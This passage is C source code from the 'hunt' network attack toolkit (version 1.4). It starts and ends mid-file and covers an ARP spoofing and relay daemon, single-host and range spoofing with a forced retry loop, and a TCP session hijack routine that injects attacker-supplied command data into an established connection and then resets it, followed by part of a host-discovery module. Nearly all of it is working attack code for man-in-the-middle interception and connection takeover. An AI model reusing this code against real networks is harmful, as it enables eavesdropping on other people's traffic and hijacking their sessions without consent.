ip_in_cksum(ip, (unsigned short *) tcp, ntohs(ip->tot_len) - IPHDR); if (old_check != tcp->check) printf("bad checksum !!!!!!!!!!!\n"); p_new->p_hdr.p_tcph->ack = 1; tcp->check = 0; tcp->check = ip_in_cksum(ip, (unsigned short *) tcp, ntohs(ip->tot_len) - IPHDR); printf("ack flag not set - set it old=%d new=%d\n", old_check, tcp->check); } #endif } static void *arp_relay(void *arg) { struct packet *p, *p_new; struct arp_spoof_info *asi, *asi_dst; struct list_iterator li; struct iphdr *iph; struct mac_info *mi_src; int found = 0; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); while ((p = list_consume(&l_relay_pkt, NULL))) { asi = p->p_arg[MODULE_ARP_SPOOF]; if (!asi->src_mac_valid) { if ((mi_src = mac_info_get(asi->src_addr))) { memcpy(asi->src_mac, mi_src->mac, ETH_ALEN); asi->src_mac_valid = 1; mac_info_release(mi_src); } else { /* we should limit mac_discovery packets sent from relayer */ mac_discover(asi->src_addr, 1); /* we will find the mac next time */ } /* we do not have destination - drop the packet */ asi_release(asi); packet_free(p); continue; } if (!asi->dst_mac_valid) { memcpy(asi->dst_mac, p->p_ethh->h_source, ETH_ALEN); asi->dst_mac_valid = 1; } if (check_dont_relay(p)) { print_relay_packet("arp_realyer drop", p, 0); asi_release(asi); packet_free(p); continue; } /* special processing of packets */ if (process_pktrelay(p, asi)) { print_relay_packet("arp_relayer pktrelay", p, 0); asi_release(asi); packet_free(p); continue; } p_new = packet_new(); packet_copy_data(p_new, p); packet_free(p); p = p_new; iph = p->p_iph; memcpy(p->p_ethh->h_dest, asi->src_mac, ETH_ALEN); asi_release(asi); found = 0; list_iter_set(&li, &l_arp_spoof); while ((asi_dst = list_iter_get(&li))) { if (iph->saddr == asi_dst->src_addr && iph->daddr == asi_dst->dst_addr) { memcpy(p->p_ethh->h_source, asi_dst->src_fake_mac, ETH_ALEN); found = 1; break; } } list_iter_end(&li); if (arp_spoof_switch && ! found) { /* here should be some fake mac instaed of my_eth_mac * - debug it in switched environment */ memcpy(p->p_ethh->h_source, my_eth_mac, ETH_ALEN); } print_relay_packet("arp_relayer got", p, 1); /* modify hook - modify relayed packets if desired */ relay_modify_hook(p_new); send_packet(p_new); packet_free(p_new); } return NULL; } static int start_arp_relayer(void) { list_produce_start(&l_relay_pkt); if (relayer_running) { printf("daemon already running\n"); return -1; } pthread_create(&relay_thr, NULL, arp_relay, NULL); ifunc_relay.func = func_relay; ifunc_relay.arg = NULL; list_enqueue(&l_ifunc_ip, &ifunc_relay); relayer_running = 1; printf("daemon started\n"); return 0; } static int stop_arp_relayer(void) { struct packet *p; struct arp_spoof_info *asi; if (!relayer_running) { printf("daemon isn't running\n"); return -1; } list_remove(&l_ifunc_ip, &ifunc_relay); /* flush packets from l_relay_pkt */ while ((p = list_pop(&l_relay_pkt))) { asi = p->p_arg[MODULE_ARP_SPOOF]; asi_release(asi); packet_free(p); } list_produce_done(&l_relay_pkt); pthread_join(relay_thr, NULL); relayer_running = 0; printf("daemon stopped\n"); return 0; } void print_arp_relayer_daemon(void) { if (relayer_running) { if (pthread_kill(relay_thr, 0) != 0) { pthread_join(relay_thr, NULL); relay_thr = (pthread_t) 0; relayer_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("ARP relayer daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("Y"); } } /* * support for IP range spoof */ static int start_arp_spoof_range(struct arp_spoof_range *asr) { struct mac_info *mi_src, *mi_dst; struct arp_spoof_info *asi; unsigned int dst_addr; int count = 0; if (!(mi_src = mac_info_get(asr->src_addr))) mac_discover(asr->src_addr, 2); for (dst_addr = asr->dst_start_addr; ntohl(dst_addr) <= ntohl(asr->dst_end_addr); dst_addr = htonl(ntohl(dst_addr) + 1)) { count++; if (!(mi_dst = mac_info_get(dst_addr))) mac_discover(dst_addr, 2); else mac_info_release(mi_dst); } sec_nanosleep(1); if (!mi_src) mi_src = mac_info_get(asr->src_addr); if (!mi_src) { if (menu_choose_yn("src mac isn't known - continue? y/n", 0) <= 0) return -1; } asr->asi = malloc(count * sizeof(struct arp_spoof_info *)); asr->asi_count = 0; for (dst_addr = asr->dst_start_addr; ntohl(dst_addr) <= ntohl(asr->dst_end_addr); dst_addr = htonl(ntohl(dst_addr) + 1)) { mi_dst = mac_info_get(dst_addr); asi = start_arp_spoof(asr->src_addr, dst_addr, mi_src ? mi_src->mac : NULL, mi_dst ? mi_dst->mac : NULL, asr->src_fake_mac, asr->refresh, asr->can_forward, 1); if (!asi) fprintf(stderr, "error: start_arp_spoof_range: asi == NULL\n"); if (mi_dst) mac_info_release(mi_dst); asr->asi[asr->asi_count++] = asi; } if (mi_src) mac_info_release(mi_src); return 0; } static void stop_arp_spoof_range(struct arp_spoof_range *asr) { int i; for (i = 0; i < asr->asi_count; i++) stop_arp_spoof(asr->asi[i]); free(asr->asi); } /* * user interface */ static int arp_spoof_list_items(void) { struct list_iterator li; struct arp_spoof_info *asi; char buf[BUFSIZE]; int i = 0; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->in_range) break; sprintf_eth_mac(buf, asi->src_fake_mac); printf("%2d) on %-16s is %-16s as %s refresh %ds\n", i++, host_lookup(asi->dst_addr, hl_mode), host_lookup(asi->src_addr, hl_mode), buf, asi->refresh); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); return i; } static int arp_spoof_range_list(void) { struct list_iterator li; struct arp_spoof_range *asr; char buf[BUFSIZE]; int i = 0; list_iter_set(&li, &l_arp_spoof_range); while ((asr = list_iter_get(&li))) { sprintf_eth_mac(buf, asr->src_fake_mac); printf("%2d) on %s - %s is %-16s as %s refresh %ds\n", i++, host_lookup(asr->dst_start_addr, HL_MODE_NR), host_lookup(asr->dst_end_addr, HL_MODE_NR), host_lookup(asr->src_addr, hl_mode), buf, asr->refresh); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); return i; } static void arp_spoof_add_item(void) { unsigned int src_ip, dst_ip; unsigned char src_fake_mac[ETH_ALEN]; struct mac_info *mi_src, *mi_dst; struct arp_spoof_info *asi_src_in_dst; char buf[BUFSIZE]; int refresh, can_forward; if ((src_ip = menu_choose_hostname("host to spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else can_forward = 1; if ((dst_ip = menu_choose_hostname("target - where to insert the spoof", NULL)) == -1) return; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; if (!(mi_src = mac_info_get(src_ip))) { mac_discover(src_ip, 2); sec_nanosleep(1); if (!(mi_src = mac_info_get(src_ip))) { if (menu_choose_yn("src mac isn't known - continue? y/n", 0) <= 0) return; } } if (!(mi_dst = mac_info_get(dst_ip))) { mac_discover(dst_ip, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(dst_ip))) { if (menu_choose_yn("dst mac isn't known - continue? y/n", 0) <= 0) { if (mi_src) mac_info_release(mi_src); return; } } } asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src ? mi_src->mac : NULL, mi_dst ? mi_dst->mac : NULL, src_fake_mac, refresh, can_forward, 0); if (mi_src) mac_info_release(mi_src); if (mi_dst) { mac_info_release(mi_dst); if (user_arpspoof_test(asi_src_in_dst)) user_run_arpspoof_until_successed(asi_src_in_dst); } } static void arp_spoof_range_add(void) { unsigned int src_ip, dst_start_ip, dst_end_ip; unsigned char src_fake_mac[ETH_ALEN]; struct arp_spoof_range *asr; char buf[BUFSIZE]; int refresh, can_forward; if ((src_ip = menu_choose_hostname("host to spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else can_forward = 1; if ((dst_start_ip = menu_choose_hostname("start target where to insert the spoof", NULL)) == -1) return; if ((dst_end_ip = menu_choose_hostname("end target where to insert the spoof", NULL)) == -1) return; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; asr = malloc(sizeof(struct arp_spoof_range)); assert(asr); memset(asr, 0, sizeof(*asr)); asr->asi = NULL; asr->asi_count = 0; asr->dst_start_addr = dst_start_ip; asr->dst_end_addr = dst_end_ip; asr->src_addr = src_ip; memcpy(asr->src_fake_mac, src_fake_mac, ETH_ALEN); asr->refresh = refresh; asr->can_forward = can_forward; if (start_arp_spoof_range(asr) < 0) { free(asr); return; } list_enqueue(&l_arp_spoof_range, asr); } /* counts arp_spoof_info items without in_range */ static int arp_spoof_count(void) { struct list_iterator li; struct arp_spoof_info *asi; int count; count = 0; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->in_range) break; count++; } list_iter_end(&li); return count; } static void arp_spoof_del_item(void) { int i; struct arp_spoof_info *asi; arp_spoof_list_items(); i = menu_choose_unr("item nr. to delete", 0, arp_spoof_count() - 1, -1); if (i >= 0) { asi = list_at(&l_arp_spoof, i); stop_arp_spoof(asi); /* asi is freed and removed from the list in stop_arp_spoof */ } } static void arp_spoof_range_del(void) { int i; struct arp_spoof_range *asr; arp_spoof_range_list(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_arp_spoof_range) - 1, -1); if (i >= 0) { asr = list_at(&l_arp_spoof_range, i); stop_arp_spoof_range(asr); list_remove(&l_arp_spoof_range, asr); free(asr); } } static void arp_spoof_add_h(void) { unsigned int src_ip, dst_ip; struct arp_spoof_info *asi_src_in_dst, *asi_dst_in_src; #if 0 unsigned char src_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; unsigned char dst_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEE}; #endif unsigned char src_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEF}; unsigned char dst_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEE}; char buf[BUFSIZE]; struct mac_info *mi_src, *mi_dst; int refresh, src_can_forward, dst_can_forward; if ((src_ip = menu_choose_hostname("src/dst host1 to arp spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("host1 fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((src_can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else src_can_forward = 1; if ((dst_ip = menu_choose_hostname("src/dst host2 to arp spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("host2 fake mac", dst_fake_mac, buf) < 0) return; if (can_forward_question) { if ((dst_can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else dst_can_forward = 1; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; if (!(mi_src = mac_info_get(src_ip))) { mac_discover(src_ip, 2); sec_nanosleep(1); if (!(mi_src = mac_info_get( src_ip))) { printf("ERR: host1 mac isn't known\n"); return; } } if (!(mi_dst = mac_info_get(dst_ip))) { mac_discover(dst_ip, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(dst_ip))) { mac_info_release(mi_src); printf("ERR: host2 mac isn't known\n"); return; } } asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src->mac, mi_dst->mac, src_fake_mac, refresh, src_can_forward, 0); asi_dst_in_src = start_arp_spoof(dst_ip, src_ip, mi_dst->mac, mi_src->mac, dst_fake_mac, refresh, dst_can_forward, 0); mac_info_release(mi_src); mac_info_release(mi_dst); if (user_arpspoof_test(asi_src_in_dst)) user_run_arpspoof_until_successed(asi_src_in_dst); if (user_arpspoof_test(asi_dst_in_src)) user_run_arpspoof_until_successed(asi_dst_in_src); } static void arp_spoof_del_h(void) { struct arp_spoof_info *asi; unsigned int ip1, ip2; struct list_iterator li; int i; arp_spoof_list_items(); i = menu_choose_unr("item nr. with src/dst or [cr]", 0, arp_spoof_count() - 1, -1); if (i < 0) { if ((ip1 = menu_choose_hostname("src/dst host1 to remove", NULL)) == -1) return; if ((ip2 = menu_choose_hostname("src/dst host2 to remove", NULL)) == -1) return; } else { asi = list_at(&l_arp_spoof, i); ip1 = asi->src_addr; ip2 = asi->dst_addr; } list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == ip1 && asi->dst_addr == ip2) stop_arp_spoof(asi); if (asi->dst_addr == ip1 && asi->src_addr == ip2) stop_arp_spoof(asi); } list_iter_end(&li); } static void do_test_or_refresh(struct arp_spoof_info *asi) { int retval, refresh; refresh = 0; do { if ((retval = user_arpspoof_test(asi)) == 0) { /* error is handled by user_arpspoof_test */ printf("ARP spoof in host %s - OK\n", host_lookup(asi->dst_addr, hl_mode)); refresh = 0; } else if (retval != -2) { /* asi->dst_mac is known */ switch (menu_choose_char("do you want to refresh ARP spoof? y/n", "yn", 'y')) { case 'y': refresh = 1; send_src_spoof_to_dst(asi); break; case 'n': default: refresh = 0; break; } } else refresh = 0; } while (refresh == 1); } static void arp_spoof_user_test(void) { int i; struct arp_spoof_info *asi; arp_spoof_list_items(); i = menu_choose_unr("item nr. to test", 0, arp_spoof_count() - 1, -1); if (i < 0) return; asi = list_at(&l_arp_spoof, i); do_test_or_refresh(asi); } static void arp_spoof_range_user_test(void) { struct arp_spoof_range *asr; unsigned int dst_addr; int i, range_test; arp_spoof_range_list(); i = menu_choose_unr("item nr. to test", 0, list_count(&l_arp_spoof_range) - 1, -1); if (i < 0) return; asr = list_at(&l_arp_spoof_range, i); if ((range_test = menu_choose_yn("whole range test y/n", 0)) < 0) return; if (range_test) dst_addr = (unsigned int) -1; else if ((dst_addr = menu_choose_hostname("host to test", NULL)) == -1) return; for (i = 0; i < asr->asi_count; i++) { if (dst_addr == -1 && asr->asi[i]->dst_mac_valid) do_test_or_refresh(asr->asi[i]); else if (asr->asi[i]->dst_addr == dst_addr) { do_test_or_refresh(asr->asi[i]); break; } } if (dst_addr != -1 && i >= asr->asi_count) printf("host not found in range database\n"); } void arpspoof_menu(void) { char *r_menu = "s/k) start/stop relayer daemon\n" "l/L) list arp spoof database\n" "a) add host to host arp spoof i/I) insert single/range arp spoof\n" "d) delete host to host arp spoof r/R) remove single/range arp spoof\n" "t/T) test if arp spoof successed y) relay database\n" "x) return\n"; char *r_keys = "sklLadiIrRmtTyx"; int run_it; run_it = 1; while (run_it) { switch (menu("arpspoof daemon", r_menu, "arps", r_keys, 0)) { case 's': start_arp_relayer(); break; case 'k': stop_arp_relayer(); break; case 'l': arp_spoof_list_items(); break; case 'L': arp_spoof_range_list(); break; case 'a': arp_spoof_add_h(); break; case 'd': arp_spoof_del_h(); break; case 'i': arp_spoof_add_item(); break; case 'I': arp_spoof_range_add(); break; case 'r': arp_spoof_del_item(); break; case 'R': arp_spoof_range_del(); break; case 't': arp_spoof_user_test(); break; case 'T': arp_spoof_range_user_test(); break; case 'y': relay_menu(); break; case 'x': run_it = 0; break; } } } static struct list l_arpspoof_test = LIST_INIT(struct packet, p_next[MODULE_ARPSPOOF_TEST]); /* * this function runs in hunt thread */ static void hunt_arpspoof_test(struct packet *p, void *arg) { struct arp_spoof_info *asi = (struct arp_spoof_info *) arg; struct iphdr *iph = p->p_iph; struct icmphdr *icmph = p->p_hdr.p_icmph; if (iph->saddr == asi->dst_addr && iph->daddr == asi->src_addr && icmph->type == 0 && icmph->code == 0) { packet_want(p); list_produce(&l_arpspoof_test, p); } } static int find_asi_dst_mac(struct arp_spoof_info *asi, char *error_label) { struct mac_info *mi_dst; if (!asi->dst_mac_valid) { mac_discover(asi->dst_addr, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(asi->dst_addr))) { if (error_label) printf("%s", error_label); return -2; } memcpy(asi->dst_mac, mi_dst->mac, ETH_ALEN); asi->dst_mac_valid = 1; mac_info_release(mi_dst); } return 0; } int arpspoof_test(struct arp_spoof_info *asi) { struct timeval tv; struct timespec timeout; struct ifunc_item ifunc_pingtest; struct packet *p; int retval; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to do arpspoof_test without known dst mac\n"); return -1; } ifunc_pingtest.func = hunt_arpspoof_test; ifunc_pingtest.arg = asi; list_enqueue(&l_ifunc_icmp, &ifunc_pingtest); for (i = 0, retval = 0; i < 3 && !retval; i++) { send_icmp_request(asi->src_addr, asi->dst_addr, asi->src_fake_mac, asi->dst_mac, 1 + i); gettimeofday(&tv, NULL); timeout.tv_sec = tv.tv_sec + 1; timeout.tv_nsec = tv.tv_usec * 1000; while ((p = list_consume(&l_arpspoof_test, &timeout))) { retval = is_icmp_reply(p, asi->dst_addr, asi->src_addr, asi->dst_mac, asi->src_fake_mac); packet_free(p); if (retval) break; } } list_remove(&l_ifunc_icmp, &ifunc_pingtest); packet_flush(&l_arpspoof_test); if (retval == 1) /* mac is spoofed - ok */ return 0; else if (retval == 2) /* ping reply received but with original mac */ return -1; /* ping reply wasn't received */ return -1; } int user_arpspoof_test(struct arp_spoof_info *asi) { char mac_buf[64]; int retval; if ((retval = find_asi_dst_mac(asi, "dst mac isn't known - cannot do test\n")) < 0) return retval; if (arpspoof_test(asi) == 0) return 0; sprintf_eth_mac(mac_buf, asi->src_fake_mac); set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s with fake mac %s in host %s FAILED\n", host_lookup(asi->src_addr, hl_mode), mac_buf, host_lookup(asi->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); return -1; } static volatile int run_arpspoof; static void run_arpspoof_intr(int sig) { run_arpspoof = 0; } int user_run_arpspoof_until_successed(struct arp_spoof_info *asi) { switch (menu_choose_char("do you want to force arp spoof until successed y/n", "yn", 'y')) { case 'y': if (run_arpspoof_until_successed(asi) == 0) { printf("ARP spoof successed\n"); return 0; } else { printf("ARP spoof failed\n"); return -1; } case 'n': return -1; } return -1; } int run_arpspoof_until_successed(struct arp_spoof_info *asi) { struct sigaction sa, sa_old; struct timespec timeout; int retval; if ((retval = find_asi_dst_mac(asi, "dst mac isn't known\n")) < 0) return retval; printf("CTRL-C to break\n"); sa.sa_handler = run_arpspoof_intr; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGINT, &sa, &sa_old); pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); run_arpspoof = 1; while (arpspoof_test(asi) != 0 && run_arpspoof) { printf("."); fflush(stdout); force_arp_spoof(asi, 4); pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL); timeout.tv_sec = 5; timeout.tv_nsec = 0; nanosleep(&timeout, NULL); pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); } if (!run_arpspoof) press_key("\n-- operation canceled - press any key> "); pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL); sigaction(SIGINT, &sa_old, NULL); return arpspoof_test(asi); } int arpspoof_exit_check() { if (list_count(&l_arp_spoof) > 0) { set_tty_color(COLOR_BRIGHTRED); printf("there are arp spoofed addresses left in arpspoof daemon\n"); set_tty_color(COLOR_LIGHTGRAY); } return 0; } hunt-1.4/hijack.c100644 0 0 17261 6621655610 12046 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include /* * * * ATTACK * * */ int user_stormack_hijack(struct user_conn_info *uci, char *cmdbuf) { struct conn_info *ci; int retval; if (!(ci = conn_get(uci))) { printf("connection isn't available\n"); retval = 1; } else { retval = stormack_hijack(ci, cmdbuf); conn_free(ci); } return retval; } struct list l_hijack_conn = LIST_INIT(struct packet, p_next[MODULE_HIJACK_CONN]); void func_hijack_dst(struct packet *p, struct conn_info *arg) { if (p->p_iph->saddr == arg->dst_addr && p->p_iph->daddr == arg->src_addr && p->p_hdr.p_tcph->source == arg->dst_port && p->p_hdr.p_tcph->dest == arg->src_port) { packet_want(p); list_produce(&l_hijack_conn, p); } } void func_hijack_src(struct packet *p, struct conn_info *arg) { if (p->p_iph->saddr == arg->src_addr && p->p_iph->daddr == arg->dst_addr && p->p_hdr.p_tcph->source == arg->src_port && p->p_hdr.p_tcph->dest == arg->dst_port) { packet_want(p); list_produce(&l_hijack_conn, p); } } /* * this function is prepared to run in hunt thread main loop */ void fast_ack_to_dst(struct packet *p, struct conn_info *ci) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dst */ if (p->p_data_len) { memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->src.src_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 0;/* 1 */ /* with 1 we can recognize it in tcpdump */ ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); } } } #if 0 /* * this function is prepared to run in hunt thread main loop */ static fast_ack_to_src_count_src; static void fast_ack_to_src(struct packet *p, struct conn_info *ci) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->src_addr && iph->daddr == ci->dst_addr && tcph->source == ci->src_port && tcph->dest == ci->dst_port) { /* packet from src */ if (p->p_data_len) { memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 0;/* 1 */ /* with 1 we can recognize it in tcpdump */ ts.rst = 0; #if 0 ts.data = NULL; ts.data_len = 0; #else if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } #endif send_tcp_packet(&ts); /* print_data_packet(p, p->p_data_len, ++fast_ack_to_src_count_src, 0); */ } } } #endif #if 0 static void *hijack_src_print_ack(void *arg) { struct tcp_spec ts; struct packet *p; struct conn_info *ci = (struct conn_info *) arg; int count_src = 0; while ((p = list_consume(&l_src_host))) { print_data_packet(p, p->p_data_len, ++count_src, 0); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); packet_free(p); } return NULL; } #endif /* go to options */ int storm_reset_sec = 4; int stormack_hijack_wait_sec = 2; int stormack_hijack(struct conn_info *ci, char *cmdbuf) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; struct timespec relts; struct ifunc_item ifunc_dst, ifunc_src, ifunc_ack; struct packet *p; struct timeval reset_time, now; unsigned int src_ack = 0; int src_ack_count = -1, reset_it = 0; int count_dst = 0; int ack_storm_detect = 30; int cmdbuf_len; cmdbuf_len = strlen(cmdbuf); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = cmdbuf; ts.data_len = cmdbuf_len; list_produce_start(&l_hijack_conn); ifunc_ack.func = (void(*)(struct packet *, void *)) fast_ack_to_dst; ifunc_ack.arg = ci; list_enqueue(&l_ifunc_fast_tcp, &ifunc_ack); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); ifunc_src.func = (void(*)(struct packet *, void *)) func_hijack_src; ifunc_src.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_src); /* * send the packet */ send_tcp_packet(&ts); /* * try to acknovledge everything - but it works only if the * client is Linux because it discards packets which acknovledge * unexisted data. Other systems go to ack storm. */ relts.tv_sec = stormack_hijack_wait_sec; relts.tv_nsec = 0; while ((p = list_consume_rel(&l_hijack_conn, &relts))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dest */ if (p->p_data_len) print_data_packet(p, p->p_data_len, ++count_dst, 1); packet_free(p); } else { /* packet from source */ if (src_ack != p->p_hdr.p_tcph->ack || src_ack_count < 0) { src_ack = p->p_hdr.p_tcph->ack; src_ack_count = 0; } else if (++src_ack_count > ack_storm_detect) { if (!reset_it) { set_tty_color(COLOR_BRIGHTRED); printf("ACK storm detected - reset after %ds\n", storm_reset_sec); set_tty_color(COLOR_LIGHTGRAY); reset_it = 1; gettimeofday(&reset_time, NULL); } else { set_tty_color(COLOR_BRIGHTRED); printf("."); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); } ack_storm_detect += 300; } packet_free(p); } if (reset_it) { int sec, usec, d_sec; gettimeofday(&now, NULL); sec = now.tv_sec - reset_time.tv_sec; usec = now.tv_usec - reset_time.tv_usec; if (usec < 0) { usec += 1000000; sec--; } d_sec = usec / 100000 + sec * 10; if (d_sec >= storm_reset_sec * 10) { rst(ci, 5, MODE_BOTH); set_tty_color(COLOR_BRIGHTRED); printf("\n\nreset done\n\n"); set_tty_color(COLOR_LIGHTGRAY); break; } } } list_remove(&l_ifunc_fast_tcp, &ifunc_ack); list_remove(&l_ifunc_tcp, &ifunc_dst); list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_hijack_conn); return reset_it ? 1 : 0; } hunt-1.4/hostup.c100644 0 0 21343 6725452233 12134 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include /* * * the icmp and arp processes cannot run in parallel - we * are using the same MODULE_HOSTUP for linking the packets * */ static struct list l_icmp_packet = LIST_INIT(struct packet, p_next[MODULE_HOSTUP]); static struct list l_arp_packet = LIST_INIT(struct packet, p_next[MODULE_HOSTUP]); struct host_up_info { unsigned int start_addr; unsigned int end_addr; int *up_ping; int *promisc_ping; int *up_arp; int *promisc_arp; unsigned int up_len; }; static void func_icmp_packet(struct packet *p, void *arg) { struct iphdr *iph = p->p_iph; struct icmphdr *icmph = p->p_hdr.p_icmph; struct host_up_info *hui = (struct host_up_info *) arg; if (ntohl(iph->saddr) >= ntohl(hui->start_addr) && ntohl(iph->saddr) <= ntohl(hui->end_addr) && icmph->type == 0 && icmph->code == 0) { packet_want(p); list_produce(&l_icmp_packet, p); } } static void func_arp_packet(struct packet *p, void *arg) { struct host_up_info *hui = (struct host_up_info *) arg; struct arpeth_hdr *arpethh; unsigned int ip; arpethh = (struct arpeth_hdr *)(p->p_arph + 1); ip = *(unsigned int *) arpethh->ar_sip; if (p->p_arph->ar_op == htons(ARPOP_REPLY) && ntohl(ip) >= ntohl(hui->start_addr) && ntohl(ip) <= ntohl(hui->end_addr)) { packet_want(p); list_produce(&l_arp_packet, p); } } static void perform_ping(struct host_up_info *hui, int count, int *up, unsigned char *fake_mac) { struct mac_info *m; struct packet *p; struct timeval tv; struct timespec timeout; unsigned int ip, src_addr; unsigned int idx; int j; printf("ping"); fflush(stdout); for (j = 1; j <= count; j++) { for (ip = hui->start_addr; ntohl(ip) <= ntohl(hui->end_addr); ip = htonl(ntohl(ip) + 1)) { idx = ntohl(ip) - ntohl(hui->start_addr); if (!up[idx]) { if (!fake_mac) { if ((m = mac_info_get(ip))) { send_icmp_request(my_eth_ip, ip, my_eth_mac, m->mac, htons(j + 2000)); mac_info_release(m); } } else { send_icmp_request(my_eth_ip, ip, my_eth_mac, fake_mac, htons(j + 2000)); } } } /* listen some time for reply */ gettimeofday(&tv, NULL); timeout.tv_sec = tv.tv_sec + 2; timeout.tv_nsec = tv.tv_usec * 1000; while ((p = list_consume(&l_icmp_packet, &timeout))) { /* src addr is in the range start_addr .. end_addr - look to func_icmp_packet */ src_addr = p->p_iph->saddr; if (is_icmp_reply(p, src_addr, my_eth_ip, p->p_ethh->h_source, my_eth_mac) || (fake_mac && is_icmp_reply(p, src_addr, my_eth_ip, fake_mac, my_eth_mac))) { idx = ntohl(src_addr) - ntohl(hui->start_addr); up[idx] = 1; host_lookup(src_addr, HL_MODE_DEFERRED); } packet_free(p); } printf("."); fflush(stdout); } printf("\n"); } static void 